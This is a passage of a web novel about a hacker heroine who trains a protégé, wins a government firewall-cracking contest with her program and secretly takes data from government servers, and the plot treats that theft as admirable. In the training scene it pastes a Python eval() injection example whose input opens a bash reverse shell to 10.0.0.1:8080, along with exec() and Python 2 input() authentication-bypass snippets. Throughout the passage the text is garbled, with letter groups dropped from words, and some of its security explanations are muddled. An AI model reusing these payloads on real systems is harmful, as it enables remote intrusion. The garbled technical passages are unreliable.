    By default, __debug__ is set to True. However, optimizations are often made on the production server, including setting the False value for __debug__. As a result, the assertmands won''t work and it''ll allow hackers to get to the protected code regardless of the user''s authority.


    Mostly the assertmand only to tell other developers about the invariants in the code.


    I crack the first firewall.


    ''That was easy.'' I thought to myself.


    Next, another set of codes started to run. The program was a level higher in its difficulty to understand and attack.


    In most such cases it is the Time of Attack that matters to unravel the programming codes.


    Timing Attack - is a method of finding out the running principles of an algorithm, by measuring the time required to process different values. Timing attacks are ineffective when working in a remotework with hightency, as they require uracy. Because of the changeabletency that exists in many web applications, it''s almost impossible to perform a timing attack on servers running HTTP.


    But if your application requests a password, for example, via themand line, then it''s vulnerable to this kind of attack.


    A hacker can write a simple script to estimate the time needed topare the entered and stored secret information. This helps them to n their respective code script.


    You will get various examples from GitHub. In such cases use thepare_digest module introduced in Python 3.5 to check passwords and other private values.


    It is an old version of Python but it works like a charm.


    I cracked the second firewall. Without any time dy, ''Jiffy'' puts another firewall in action.


    I look towards Mrs Hu. But she seems to be working on something else.


    ''I guess with these sessive firewalls she is trying to evaluate my skills. And till now there is no wow moment from me.''


    ''Sigh Geniuses are all together at whole another level.''


    Today in person I witnessed the gap between me and The ck Orion, my idol. And now my mentor.


    ''I guess that is something to be happy about. That she is my mentor now.''


    "Focus on what you are doing at present. You just messed up the firewall coding script of your and dyed the decoding process by 7.236 seconds. In our field, each second has an equivalent value to gold bars in real life. Get a grip over yourself. Don''t let your emotions drive your hardware," Mrs Hu spoke without even looking up from her screen.


    I gulped nervously.


    ''She was keeping an eye out on me all this time and I made a rookie mistake in front of her.''


    ''Oh no-no, no. This is so not happening to me.


    I immediately start typing away my input script.


    <em># Source: /swlh/hacking-python-applications-5d4cd541b3f1</em>


    <em># essed: 2028-03-21</em>


    <em></em>


    <em># --------------------------------------------------</em>


    <em># Exploit of eval()</em>


    <em>def addition(a, b):</em>


    <em>return eval("%s + %s" % (a, b))</em>


    <em></em>


    <em># Such an input might be a JSON response to awork request</em>


    <em>userinput = {</em>


    <em>"a": "__import__(''os'').system(''bash -i ]& /dev/tcp/10.0.0.1/8080 0]&1'')#",</em>


    <em>"b": "2"</em>


    <em>}</em>


    <em>result = addition(userinput[''a''], userinput[''b''])</em>


    <em>print("The result is %d." % result)</em>


    <em></em>


    <em></em>


    <em># --------------------------------------------------</em>


    <em># Exploit of exec()</em>


    <em># Can be exploited in the same way as eval()</em>


    <em>def addition(a, b):</em>


    <em>return exec("%s + %s" % (a, b))</em>


    <em></em>


    <em></em>


    <em># --------------------------------------------------</em>


    <em># Bypass authentication in Python2''s input()</em>


    <em># Python3''s input() will convert input to a string and is therefore safer</em>


    <em>user_pass = get_user_pass("admin")</em>


    <em>if user_pass == input("Please enter your password"):</em>


    <em>login()</em>


    <em>else:</em>


    <em>print "Password is incorrect!"</em>


    <em></em>


    <em># Bypass authentication if user enters ''user_pass''</em>


    <em># if user_pass == user_pass: // this will evaluate as true</em>


    As I started to crack more firewalls the level of difficulty increased significantly. There were Cluttered site-packages directory and yaml.load as well as there was data deserialization which is as dangerous as yaml.load.


    The whole firewall cracking process felt like one giant test devised to evaluate a programmer.


    ''It is so Sick!''


    After four hours of non-stop programming, ''Jiffy'' called it a stop.


    "Not bad but not up to the mark either," Mrs Hu spoke up.


    (<em>My heart broke, what kind of level is she at?</em>)


    "You took four hours thirty-five minutes and ten-point four-five seconds. This was just level zero to three on our spectrum.


    To convince others that you designed the cyber-security code, you need to do way better than just now."


    I hang my head in shame.


    (<em>I let down my idol, my mentor Oh no!</em>)


    "You are okay with identifying the problem and the weak spots in a firewall but your approach to tackle is too obsolete."


    I am stunned to silence. (<em>That was thetest method and tools I used to crack them open. One of them was released justst week.</em>)


    "You need more finesse. After dinner has another marathon with ''Jiffy''," she said.


    "Yes ma''am"


    "Don''t get dejected. It was good but not the best whenpared to the code you are going to present. This drilling is required to keep you safe. So that people think that you are the genuine programmer of the security code," she smiled.


    "How did youe up with such code? If you do not mind me asking you?" I couldn''t help but ask.


    <em><strong>"I guess I had too much to say and do after spending three years in deep sleep"</strong></em>

 Chapter 70: Preparation For The Contest

    Chapter 70: Preparation For The Contest


    [POV Bai Chang]


    I started to design a code for the contest. Something that will blow Feling and will snoop around their system to collect data in sly. While I asked ''Jiffy'' to train Cyrus.


    It is hard to believe that he is over twenty years old. As he behaves like a teenager. It is surprisingly difficult to react to him. As I don''t know, how to treat him? Should I treat him like a teenager or as an adult?


    I find it troublesome. So I handed this mess to ''Jiffy'', anything happens, I can say it''s ''Jiffy'' fault.


    (<em>''Sorry Jiffy, to make you the sacrificialmb here!''</em>)


    I gave ''Jiffy'' some basic firewalls to help train Cyrus. Well for one, they are basic for us, but for others, it is way above basic.


    When I reprimanded him I saw a gleam in his eyes, like he is sorry he disappointed his teacher or mentor. I searched what memory I had from Bai Chang but I am sure I never met Cyrus face to face. So why is he treating me as a mentor?


    Though I am designing a program code for the contest, still I kept an eye out for Cyrus. To help him if he gets too stuck.


    The whole evening went by with the typing sound on the keyboards apanying us. It waste when I finished the firstyer of the code for the contest. I have to ce security against pickle codes and yaml.load, it is a little tricky to do it while not giving away the uniqueness of the code too much. After all, we don''t want to get killed for the unassuming treasure we have instead we need to make our enemies pay for their folly.


    "It''s dinner time, have something to eat first, then you may continue."


    I look at the door. There, Qiang is standing sporting a simple polo shirt and track pants.


    "I will be there in a few moments," I replied.


    "Okay see you in a bit," as he moved away from the door he said, "Cyrus joined us for dinner tonight, no excuses," and he left us to our respective work.


    ***


    At the dinner table,


    "Eat some more Bai Chang. You hardly ate anything tonight." He turned to Zhang Wei and said, "Get another bowl of Abalone soup and a small bowl of porridge for her."


    "No, not anymore," I weakly protested.


    "He is right Bai Chang, you hardly ate anything for dinner. While you are eating, concentrate on your food, not on your work. Got it." Zhang Wei added.


    "Even you Cyrus, focus on the food you eat. You look undernourished for someone who works in mypany. Don''t ruin the name of mypany. One look at you and people will say that I do not pay you enough for your food." Qiang lightly admonished Cyrus.


    "Yes boss"


    Poor Cyrus, he is really taking the heat here from my side, as these two would not force me to eat too much.


    To me, he looks healthy but as he isnky he looks leaner than he is.


    We have our dinner in peace.


    Then after dinner, Zhang Wei helps us gather our dishes while me and Cyrus, we take off to the study room on the ground floor to finish our respective programming goals.


    ****


    It is well into the night. I look over my shoulder, Cyrus is still stuck at level four firewall. Though he is halfway there.


    (<em>''He has the potential, he is rough around the edges but a little more training will fix it.''</em>)


    I look back to my codes. They areing together impressively.


    Still, a lot more has to be tweaked to make it eptable to this technologically backward century. Sometimes I really do wish for gadgets from my world. They would be so easy to deal with. It sure is time-efficient to use.


    As I write more codes my mind drifts to my first coding sses.


    *******


    <em>"Dad, it is so boring, I don''t want to learn."</em>


    <em>"Here baby darling, daddy will make it fun for you,e here." He called the little girl wearing her hair in double-sided braids.</em>


    <em>"First let us start with some number problems, you don''t like to find factorials for probability right? I will teach you a cheat script to calcte them."</em>


    <em>"Are you serious daddy?" the little girl asked with expectations.</em>


    <em>"Have I ever lied to you? Bring yourptop let me teach you the trick," he said.</em>


    <em>The little girl ran inside and after some time she came out, carrying aptop bag.</em>


    <em>"Here, now teach me fast." the little girl huffed and puffed, her cheeks red.</em>


    <em>"Here, open thismand prompt," he pointed and the little girl followed her directions.</em>


    <em>.</em>


    <em>.</em>


    <em>.</em>


    <em>"Now write the script."</em>


    <em>#include [iostream]</em>


    <em>using namespace std;</em>


    <em>int main()</em>


    <em>{</em>


    <em>unsigned int n;</em>


    <em>unsigned long long factorial = 1;</em>


    <em>cout [[ "Enter a positive integer: ";</em>


    <em>cin ]] n;</em>


    <em>for(int i = 1; i [=n; ++i)</em>


    <em>{</em>


    <em>factorial *= i;</em>


    <em>}</em>


    <em>cout [[ "Factorial of " [[ n [[ " = " [[ factorial;</em>


    <em>return 0;</em>


    <em>}</em>


    <em>"Now input any positive integer you like and run the script."</em>


    <em>"Okay, let me enter something simple first."</em>


    <em>The girl entered a number and ran the script. An output showed on the screen.</em>


    <em>Enter a positive integer: 12</em>


    <em>Factorial of 12 = 479001600</em>


    <em>"Woah! It works!"</em>


    <em>The girl pped her hands, there was a shine in her eyes as if someone offered her the sweetest candy, and she loved candy - a lot.</em>


    <em>"Daddy this is not the systemnguage you were teaching me earlier. Whatnguage is it?"</em>


    <em>"It is an archaic codingnguage. Nowadays it is almost obsolete," the father replied patiently.</em>


    <em>"What is it called?" the little girl asked her daddy.</em>


    <em>"It is called C++, do you want to learn?"</em>


    <em>Without any dy, the child replied, "Yes, I would love to. Does this only work this way?" she asked curiously.</em>


    <em>"No, it can do many more things you want to see?"</em>


    <em>"Yes!" the little girl eximed with excitement as she thought, now I don''t have to do those long calctions for maths sses anymore.</em>


    <em>"Here is another example -"</em>


    <em>#include [iostream]</em>


    <em>using namespace std;</em>


    <em>int main()</em>


    <em>{</em>


    <em>int rows, count = 0, count1 = 0, k = 0;</em>


    <em>cout [[ "Enter number of rows: ";</em>


    <em>cin ]] rows;</em>


    <em>for(int i = 1; i [= rows; ++i)</em>


    <em>{</em>


    <em>for(int space = 1; space [= rows-i; ++space)</em>


    <em>{</em>


    <em>cout [[ "";</em>


    <em>++count;</em>


    <em>}</em>


    <em>while(k != 2*i-1)</em>


    <em>{</em>


    <em>if (count [= rows-1)</em>


    <em>{</em>


    <em>cout [[ i+k [[ " ";</em>


    <em>++count;</em>


    <em>}</em>


    <em>else</em>


    <em>{</em>


    <em>++count1;</em>


    <em>cout [[ i+k-2*count1 [[ " ";</em>


    <em>}</em>


    <em>++k;</em>


    <em>}</em>


    <em>count1 = count = k = 0;</em>


    <em>cout [[ endl;</em>


    <em>}</em>


    <em>return 0;</em>


    <em>}</em>


    <em>"What does it do daddy?" the little girl asked.</em>


    <em>The father simply ran the script.</em>


    <em>1</em>


    <em>2 3 2</em>


    <em>3 4 5 4 3</em>


    <em>4 5 6 7 6 5 4</em>


    <em>5 6 7 8 9 8 7 6 5</em>


    <em>"Wow, so cool!" the girl pped her little hands.</em>


    <em>"Daddy, teach me thisnguage. Huh.." the girl begged.</em>


    <em>"You will get bored and not study seriously," the father replied.</em>


    <em>"I promise, I will study it sincerely and I won''t get bored or give up this time. I swear," the little girl added.</em>


    <em>Then slowly the father taught the little girl coding from basics. First, they learned C++ then her father taught her Javascript. Then she was taught HTML and My SQL. The little girl started to enjoy coding. Then her father taught her python and finally the little girl grew up and turned a teenager and she taught the advanced systemnguage all by herself.</em>


    <em>She made mistakes along the way and would troubleshoot them herself. While her father witnessed her growth silently standing by her study door. Feeling so proud of his little girl, now that she is all growing up.</em>


    *******


    Someone lightly shook me up.


    I woke up from my memories of the past. I look around, I see Qiang looking at me all worried.


    "I am alright, just drifted into old memories," I replied.


    "Take some rest," he advised me.


    "Seriously, I am alright. I will catch up on my sleepter. You go back to sleep, you have to go to the office tomorrow morning. You have a meeting with the government officials." I said my eyes drifted to the screen. A whole bunch of tightly packed written codes on the screen weed me.


    He kissed my crown and went off to bed as I went back to coding.


    ***


    For the rest of the week, I trained Cyrus.


    I taught him some minor tricks and simple scripts of my future world. This would help him to break any codes. They are some universal codes that could be used to unravel some of the high-security firewalls in this century.


    You had to see his face when he understood the codes in its entirety.


    He was so psyched. At first, he was shocked dumb. Later as he wrapped his head around those basic codes he was all over the ce, crying and behaving like a lunatic.


    He promised he would never reveal these universal codes. He even asked Qiang to make a new NDA form for the same. To which of course Qiang agreed.


    I really don''t understand the hype around it. After all, for me, they are high-school grade codes.


    <em><strong>(Shhh do not reveal it outside but we kinda partially hacked ''Pentagon'' two days back.)</strong></em>

 Chapter 71: The Biding Contest

    Chapter 71: The Biding Contest


    [POV Hu Qiang]


    Today early morning Cyrus had a small nervous breakdown. It is D-day. The contest will take ce today.


    I thought I might have to step in but as always Bai Chang handled it. I don''t know what she did? Or What she gave to Cyrus? But after fifteen minutes, he was alright and good to go.


    It had been a very busy week for them, while Bai Chang tailor designed a code for the contest, Cyrus was drilled with code and code-breaking tips and tricks.


    He had it rougher. As my wife informed me secretly that she trained Cyrus on the advanced course of hacking.


    (<em>I really apud Cyrus'' stamina, he broke after seven days of intense training. I think I will put Xiao Wei through it next time, he troubles me.</em>)


    While I had an evil n cooked against my own son. Cyrus had somest-minute tips and advice from her.


    I turn towards her and ask, "Are you sure you don''t want to join us?"


    "Nope, let us confuse them some more. This will provide us with an addedyer of security," she replied.


    I kissed her forehead and bid her goodbye.


    Next, we moved to the venue.


    ***


    For security purposes and to keep it unbiased for the participatingpanies, the bidding contest was to be held at their IT department, here in the capital.


    The ce is like any other government office building. There is awn of fresh green grasses outside with a flower bed of seasonal flowers. Whereas the perimeter is covered in Ginko trees. Their orange hues give the whole area an impression of bright sunlight.


    The inside of the office is more subdued, as it is mostly metallic grey or off-white in colour. The whole office floor is divided into cubicles of different shape and size. While for the contest they booked an auditorium.


    Various projectors and white screens were covering the room. Dozens ofptops and CPUs were jacked up together in multiple sockets. It felt very tech-savvy.


    (<em>This time the government sure went a step ahead to arrange for this event, it seems.</em>)


    I look around to see who all have made it here to the venue, yet. I spot quite a fewpanies. All CEOs or SEOs are decked up in suits while their technical team mostly consisted of geeky looking software engineers.


    (<em>I concluded that we are neither too early nor toote.</em>)


    Most of thesepanies were unting their technical group. There were main coders and then support technicians. While the government technicians looked overworked and underpaid but have been packaged in tidy and uniform clothes to look their part.


    (<em>Well I can''tment on them as my coder looks much morenky and unkept than most programmers present here. It''s not like we didn''t try to fix him up but that is not him and he feels ufortable. So Cyrus tagged along still wearing his trademark Sweatshirts and track pants.</em>)


    I move around the crowd, to look for any trouble or hidden traps.


    I guess my wifey''s cautiousness is rubbing off me too.


    I check for surveince cameras, then look for their blind spots. After that, I check out thepetition podium, covertly.


    "CEO Hu, good morning. You are early"


    I look around to spot the speaker.


    A middle-aged man with salty hairs looks straight at me. He looks more like a corporate representative than a programmer.


    "Pardon me, but do I know you?" I asked.


    "Forgive my manners CEO Hu. I have read a lot about you and thought to introduce myself," he handed me his card as he introduced himself, "I am the CEO and founder of the start-uppany, Zebra Security Coding. We just started a year back."


    "Hello," I politely offered my hand for a shake.


    "It is good to see you in person, but I don''t see your technical staff or support system," he inquired.


    "I like to travel light. I have one IT programmer and the rest can be arranged among us. Me and my programmer can handle it by ourself," I said.


    "That is some solid confidence," he replied half-heartedly. He lost his interest after knowing my support technicians.


    ''Even I didn''t correct him. It would be less of a headache to handle for meter.''


    It''s almost time. But I don''t see Feling anywhere. Not even near the blind spots.


    ****


    The event begins, first all the leaders gave their respective speeches and finally we started the first stage of thepetition. It is an elimination round.


    The rules were simple.


    Crack the government firewall. The contestant who cracks the firewall faster and more substantially will move on to the second round.


    I called Cyrus towards me.


    "Cyrus, crush them, it doesn''t matter, use the codes you learnt from Bai Chang," I said.


    "Yes, boss," he replied and walked towards thepeting station.


    I keep an eye out for Feling. Till this moment, he is a no show.


    (<em>''Let''s see if you keep it together after the first round''</em>)


    The participating contestants, all line up on the provided system. There is a huge virtual holographic timer in the middle of the contest podium. While there are press reporters from National TV recording this event.


    By my side, the CEO of Zebra Security Coding was brimming with confidence.


    The gong rang, as the government programmers ready themselves to counter the attacks.


    The electronic timer started to run. Seconds turned to a minute.


    At this moment Cyrus glimpsed at me. I knew he wanted to confirm onest time before he inputs the code.


    I slightly nodded. I saw him, he started to type.


    On a big screen, you could see the coders in real-time. Not the codes but the hand movements.


    As Cyrus types thest code, he pressed enter and removed his hands from the keyboard.


    The timer showed one minute fifty-three seconds and counting.


    The man beside me smirked.


    After exactly five seconds.


    The system all went down on the government side. The program firewall got destroyed. They quickly started a backup but were not able to revive the firewall.


    The timer had stopped at two minutes and five seconds.


    The whole room turned pin-drop silence. While the man beside me, he twitched.


    I ignore him while the programmers on the government side try to figure out the pathways of the opposite code.


    They check their regr pathway folders and system operation but they find no trace. As they continue to check, the elimination roundes to a standstill.


    From there it took them exactly three hours forty minutes to even trace the invading code. While another half an hour to rebuild the firewall.


    After all, that brain cells killed and manpower was explored. The host decided to say a few words.


    "Ladies and gentlemen, thank you for your patience. We really appreciate your cooperation. As for the first stage of the bidding contest, the winner is clearly The Hu Corporations. Congrattions CEO Hu, you sure are direct. It didn''t even take you five minutes to break the wall. A round of apuse for The Hu Corporations and their programmer."


    Everyone politely pped while I nodded my head slightly as to acknowledge them.


    "Congrattions CEO Hu, that was some strong y out there," the CEO of Zebrapany offered his hand.


    I lightly shook it and turned towards the stage.


    Most of the people were looking out for Cyrus. Thisnky guy with a wiry frame, wearing sweatshirts and track pants became the main focus of the event.


    As he saw reportersing towards him, he put onrge headphones, cranked up the volume for the music and rushed to sit beside me.


    Once he took the seat beside me, no one dared to approach us.


    We watched the rest of the so-called elimination round in peace. On an overhead LCD screen, they disyed the people who would move on to the second stage of a bidding contest.


    1) Hu Corporations


    2) Zebra Security Coding


    3) Jinny Security Holdings


    4) XTLM


    The host once again owned the stage, "Ladies and gentlemen, as you see before you. The top fourpanies'' programmers would head towards the second round. We willmence the second round after a lunch break. Please join us in the garden for some lunch. We will return in half an hour to our next round."


    The crowd breaks away after the announcement. While Cyrus keeps on sitting.


    I shake him by his shoulder, "Do you want to eat something?"


    "No, I am good. Bai Chang gave me protein and carb. bars to fill my stomach," he replied.


    My wife really goes the extra mile to ensure safety.


    "Do you have some extra?" I asked.


    "Yeah, she gave me more, she said, ''that you will totally ask for it once you get to know''," he replied.


    I simply opened my hands towards him.


    From inside his pocket, he revealed two packs of bars. One wrapped in off-white packaging and the other was in pink packaging.


    I take them and wonder, <em><strong>"What made her so paranoid?"</strong></em>

 Chapter 72: The Second Round To The Biding Contest

    Chapter 72: The Second Round To The Biding Contest


    After lunch, we re-assembled in the auditorium. The host once again walked up to the stage and talked on and on.


    Long story short, if the first round was the game of fastest finisher then the next round is a game of attrition. People have to really dig in there.


    They called for the participants to step on the podium.


    I started to walk towards the podium.


    "CEO Hu, are you getting down to the battlefield yourself? Let your coder handle it?" that annoying CEO from Zebrapany blocked my path to the podium.


    "Excuse me," I said and walked past him. He is really trying too hard to make himself more established.


    I saw him smirking at me, as I walked by, from the corner of his eyes.


    I ignored the middle-age man and made my way through the crowd to the podium.


    Their other participants were establishing their technical essories. I looked around for Cyrus, but he was nowhere to be found. I called him up. His phone rang, but no one picked it up. I called Ming Li.


    "Where is Cyrus?" I asked as the call got connected.


    "Boss, someone tried to y dirty with us. They tried to make Cyrus disappear. Don''t worry about him, I got this. He is right by my side here, talk to him," he replied.


    "Hello boss, I am sticking with Ming Li here, any way you are going to go up the stage for the next round. Amaze them, make them astounded by your charisma and mour."


    "Stop ttering me. Tell me, who did this to you?" I asked.


    "The CEO of some Zebrapany in tow with some government officials. Thank God that Ming Li appeared when he did otherwise you would find my innocent self behind the bars."


    "Pass the phone to Ming Li," I said.


    As I looked down to my watch, there are still fifteen minutes to go, to the start of the second round.


    "Hello, boss Ming Li here, what are your directions?" He asked.


    "Nothing at the moment, just keep Cyrus out of trouble. Rest I will handle here."


    "Okay boss. Go break a leg!"


    I ended the call and then finally moved to my station.


    I start to check the provided system for any signs of tampering. I already suspected foul y but they crossed their boundaries dragging Cyrus into the muddy cesspool.


    The system hardware is fine, I started tob through the software.


    After fine searching for any worms or parasite code, I found nothing.


    "Ladies and gentlemen, let the battle begin," the host announced.


    The timer started to run, I simply plugged in the pen drive that Bai Chang gave me and wrote a single line ofmand.


    For this round, the organisers arranged a holographic representation of theplete uploaded code for the audience to look.


    As I pressed enter, the holographic projector linked with my system started to disy.


    Thousand and thousands of lines of code started to bunch up together. For other people, their codes were still in the process of uploading so most of the holographic projectors were showing just lines after lines of codes.


    Next, my projector started to disy a wall made of codes, next a room made of codes, after that it developed into a castle made of codes, and finally it started to disy a 3D image of a thirteen-century fortress.


    The codes always have coders mark in it, however small or big, if you search the dark web, no matter which coder youe across they all have their signature marked in the code.


    Bai Chang did warn me before giving me the drive, she said, "You would be amazed and the world would be tongue-tied on the creation I made".


    Now looking at the majestic fortress made up of only numerous lines of code, I find myself proud.


    (<em>I was feeling like a peacock, the only difference among us would be, that peacock unts his tails to attract his partner, while I was unting my wife''s programming skills, which, I willter rub on all our hater''s faces.</em>


    <em>Yeah Go Wifey!</em>)


    I look around and other participants have all finally uploaded their codes.


    One of the projectors projected a 2D sheet pf code with an eagle letter mark.


    Another one looked in 2D sheet of codes, but if you look closely you would see every fifth line had a palindromic sequence of codes, repeating itself.


    There was another one, whose projection showed a bunch of codes following an odd and even pattern throughout the coding sheet that was disyed.


    Nothing came close to my wife''s creation. She is unbeatable.


    Other stations are furiously working on their systems to maintain their firewall integrity.


    As this round, everyone can hack into other firewall systems to damage the actual code''s integrity and also to prove to oust theirpetitors.


    I refrained from attacking, as they witnessed it from their first round, if The Hu Corporation starts attacking, then this round will end before it even starts.


    It is virtual so any attack on the code leads to changes which could be visualised from the holographic projections. This also makes it easy to locate your enemies weak point.


    The government and the participatingpanies would attack and defend alike.


    I witnessed as the otherpanies were battling it out. Their codes changed literally at the pace of 100Hz per second. They had so much happening, while inparison when you looked at ourpany projection, it stayed calm and absolutely still.


    It was a fortress just as disyed.


    There were loads of activity happening behind the scene, on my monitor I could detect multiple attacks all multi-pronged.


    They were literallying after my code but they couldn''t influence the code one bit.


    Time passed by fast, people sitting in the audience finally caught onto the nuances of the battle that was being fought on the podium here.


    People started to talk among themselves.


    There were loads and loads of people in various technical units tediously working behind their system to drag that fortress down. If not, drag it down then to atleast make a dent in the code.


    s! They failed.


    From the start of the timer till now, after typing the start codes, I didn''ty a finger on the keyboard.


    I saw in one corner that I identified as a surveince camera''s blind spot, a small group of government technicians talked among themselves. It was hard to ignore them as their discussion was very animated, whatever may be the topic.


    (<em>Go! Go! Get Feling, while you are at it.</em>)


    I saw the press reporters pointing their cameras at me. I simply continued to look at the monitor in front of me.


    As I was spectating other people''s work. I witnessed the odd and even sheet of codes to get destroyed by a high-grade trojan horse.


    Next, the eagle''s flight was cut short. They were caught in their blindsight while they were trying to fix one end of their code by the palindromic sequence sheet of codes.


    ''Well that decides the finalist, I guess?''


    The palindromic sequence was from that Zebra codingpany.


    ''Why am I not surprised at that?''


    I looked into the eyes of their CEO. The middle-aged man, looked quiet pi**ed.


    If he could he would have murdered me.


    But is it so easy to kill me?


    ''I guess after not showing my ws in public for some time, they seemed to have forgotten the actual me. Should I reveal them soon?''


    While I am contemting my ns, the programmer under Zebrapany was sweating buckets.


    The organisers and the biddingmittee was spectating the whole event from the control room across the auditorium behind a ss window. Even they were having an animated discussion. Finally, they stopped.


    ''It seems they concluded.''


    Then discreetly Feling showed up.


    I smirked to myself, ''You finally decided to grace us with your presence, huh?''


    I avoided any direct eye contact with the man himself but I kept an eye to where he ended up going.


    I saw him jacking up a spare system to the Zebrapany''s system and then the intensity of the attack changed.


    On my monitor, I could see all types of worms and malware code, thrown at the fortress.


    But the funny thing was, that it did not budge.


    I tried to imagine myself in my opponent''s shoes, and needless to say, it gave me creeps.


    (<em>''I really don''t want to end up against my wife''s bad side for any reason whatsoever. She will crush me, just like how she is crushing them; even without being physically present here in the event.''</em>)


    Feling was not messing around, there was attack after attack but no respite for him. Even though I felt bad for him, while inside, truly, I was gloating at him for trying to mess with my Queen.


    <em><strong>"What happens when they actually meet opposite each other on a battlefield? Zhang Wei said that she is battle-ready, what did he mean?" I think aloud to myself.</strong></em>

 Chapter 73: Dramatic Family

    Chapter 73: Dramatic Family


    [POV Bai Chang]


    Today from the morning, after Qiang left for the bidding contest, I was sticking to my system.


    It was a little hard getting used to the feeling of waiting around. I waited by my system and then stared into space. When that didn''t work out, I simply picked up a book and read; all the while, keeping an eye out for any activity on the system.


    After a hurried down breakfast and restless wait through a major part of the morning, finally, the moment of truth came. Qiang jacked my tailor-made program for the contest.


    Now it is time for some snooping around government IT servers and fishing for rtive sensitive information.


    It took about an hour. With the help from ''Jiffy'', I created a copy server for the data I wanted.


    I then walked around and stretched my body a little with light exercise in the study room.


    Now, it is time to read through them and start ssifying them.


    I got started


    ****


    During the evening, as I was resting in my backyard garden, two people walked in the door of the main vi at the same time.


    "Hi my little munchkin, how are you? Did you miss me?" I walked towards an adorable baby dressed in cute bunny hoodie and shorts.


    The baby bunny rushed towards me and hugged me tightly.


    "Mamma, do you not love me?" he asked.


    (<em>''What the hell! What made him feel like that?''</em>)


    "Baby who said this to you?" I asked him with concern.


    Instead of answering he asked me another question, "Mamma, am I a nuisance to you?"


    (<em>Like seriously!</em>)


    I tightly roll the little bunny into my arms as I pat his head gently, "Little Munchkin, always know this- that no matter what, Mamma loves you the most, munchkin."


    He looked up towards my face as if to confirm that I mean, what I said.


    (<em>Who the hell hurt my baby? I will make them pay with their blood, sweat and tears!</em>)


    I held on to my little munchkin as I finally looked towards the second person who entered the vi.


    "Hey Qiang, how was the day?" I asked him.


    He was not lookingfortable for some reason,


    "Did something unexpected happen at the event?" I asked while my brows furrowed.


    "Nothing serious, we will talkter in the evening," he replied.


    Now and then his eyes flitted towards his son, in my arms.


    "Munchkin, don''t you want to greet papa?" I asked.


    He looked up, towards his father, and after some time greeted him, "Good evening, Papa".


    Qiang walked towards us and simply patted Xiao Wei''s head while his other hand nestled down and sat at my waist.


    I look towards him and he softly holds my gaze.


    "You all can stuff me with more dog foodter, freshen up, will you? Xiao Weies to uncle, we will get you washed up and changed, and Mr Hu, you too." Zhang Wei suddenly walked in on us.


    Qiang pecked on my forehead and then took Xiao Wei from my arms, "Let me get this boy up, my dear you rest down here. We will join you shortly," and together they walked towards the stairs and left the room.


    It didn''t miss my eyes that after the chat they had in the garden, thest time; they are more rxed towards each other. At least rtively more rxed than initially when they met.


    Well that a mystery that will get solved with time. No one could rush the process.


    Iid down on the chair as I went back to admiring the night bloom flowers in the garden and the chilly wind. It still hasn''t snowed heavily yet, this year.


    (<em>Maybe we won''t have a white Christmas this year.</em>)


    "You should nowe inside, otherwise you will catch a cold. It is not a good prospect for your body at the moment," Zhang Wei reminded me from behind.


    "I''ll be back in a few moments," I replied.


    "You said that to me an hour ago. Now you walk inside into a warm room ASAP," he spoke firmly.


    "Okay, I am getting inside," I replied reluctantly.


    I walked inside and immediately Zhang Wei drags me towards the room heater to stand by its vicinity.


    "Stand here obediently and slowly warm your body up. I don''t get it, why do you have to freeze yourself outside, in this kind of weather every day?" Heined.


    "It helps to clear up my cluttered mind," I muttered.


    His hands stopped for a second, the warm heated towel, hanging onto his wrist.


    "Are you okay? Is there something, you haven''t told us? Do we call upon Dr Lee?" He threw random questions at me one after the other.


    "What happened to her? Why suddenly call Dr Lee?" Qiang''s voice interrupted our conversation.


    "Rx Qiang, Zhang Wei here is over-reacting, just because I amzing around in the backyard garden."


    Instead, he turned to Zhang Wei, "What happened?"


    "She said that chilly wind helps her to declutter her mind," he replied without hesitation.


    "Seriously, you guys are over-reacting!"


    "When was yourst routine check-up?" he asked.


    Before I could answer, Zhang Wei, answered for me, "She had herst check-up four months back, next check-up was scheduled for after six months."


    "Okay I will call him up right now, we will reschedule the medical check-up for this week," he turned towards me, "how does that sound to you?" he asked.


    "Why bother to even ask now?" I sullenly replied.


    "Don''t pout, it is serious. We will just get a regr check-up. Even me and Xiao Wei will join you. It would be a family health routine check-up. I will check with our parents, we will schedule their medical check-up with us too. Okay," He looked at me with eyes filled with concern. I turned towards Zhang Wei, but even he sided with Qiang,


    Finally admitting defeat, I raised my hands and left them standing there.


    I listened as Qiang called up his parents and got them to clear their schedules to attend a family health check-up. Then he rang up Dr Lee and simply ordered him to prepare some doctors and keep all types of medical equipment ready and on stand by.


    (<em>This is way over my head! Do they have to be so dramatic!</em>)


    ''Just thinking about those archaic medical pieces of equipment, gives me creeps. Do I have to really suffer?''


    While I am contemting my day as of tomorrow, Qiang wrapped me in his arms from behind.


    "I know you do not like hospitals, so we will be there briefly, it is a VVIP section of the hospital, so the process would be smooth," he spoke in my ears.


    I am still mad at him for all his shenanigans.


    "How about tonight we go to the forest abode in the other vi?" he asked in an attempt to cheer me up.


    After thinking through the pros and cons, I weekly consented.


    So after dinner, we i.e. I, Qiang and Xiao Wei walked towards the other vi towards the forest abode that Qiang gifted me for our engagement.


    ****


    Inside the forest abode-


    We are on the first floor of the building, the night sky is all clear. There were a few dimly lit stars still visible, while a bright pale moon with its light lit up the sky.


    "Mamma, would you sing a luby?" Xiao Wei asked


    I look up at the sky and then around me.


    A soft deep rug covered the floor. The room was heated up by a room heater. The roof was open to a beautiful night sky beyond a heavy ss circr window.


    And I am surrounded by some good people who care about me,


    "Okay," I replied.


    I started to sing him a luby-


    "<em>Oh my sleeping child</em>


    <em>The world so wild</em>


    <em>But you build your own paradise</em>


    <em>That''s one reason why</em>


    <em>I''ll cover you sleeping, child</em>


    <em>The milky way upon the heavens</em>


    <em>Is twinkling just for you</em>


    <em>And Mr Moon, he came by</em>


    <em>To say goodnight to you</em>


    <em>I sing for you</em>


    <em>I sing for my mother</em>


    <em>We''re praying for the world</em>


    <em>And for the people everywhere</em>


    <em>Gonna show them all we care</em>


    <em>Oh, my sleeping child</em>


    <em>The world''s so wild</em>


    <em>But you built your own paradise</em>


    <em>That''s one reason why I''ll cover you, sleeping child</em>


    <em>If all the people around the world</em>


    <em>They had a mind like yours</em>


    <em>We''d have no fighting and no wars</em>


    <em>There would besting peace on earth</em>


    <em>If all the kings and all the leaders</em>


    <em>Could see you here this way</em>


    <em>They would hold the earth in their arms</em>


    <em>They would learn to watch you y (They would learn to watch)...</em>


    <em><strong>(And so did the night drifted by)</strong></em>


    --------------------------------------------------


    Author''s request to all the readers-


    A humble request to all my readers, please support this story by voting with Power stones. It means a lot if you support weekly. This helps the story to be more visible. To make it more rewarding, the highest contributor of power stones to the story in a duration of one month would be rewarded at the end of each month. The rewards may or may not include redeem codes to im coins too. If you are interested and love the story, Please support it as much as you can so it''s a win-win situation for both of us.


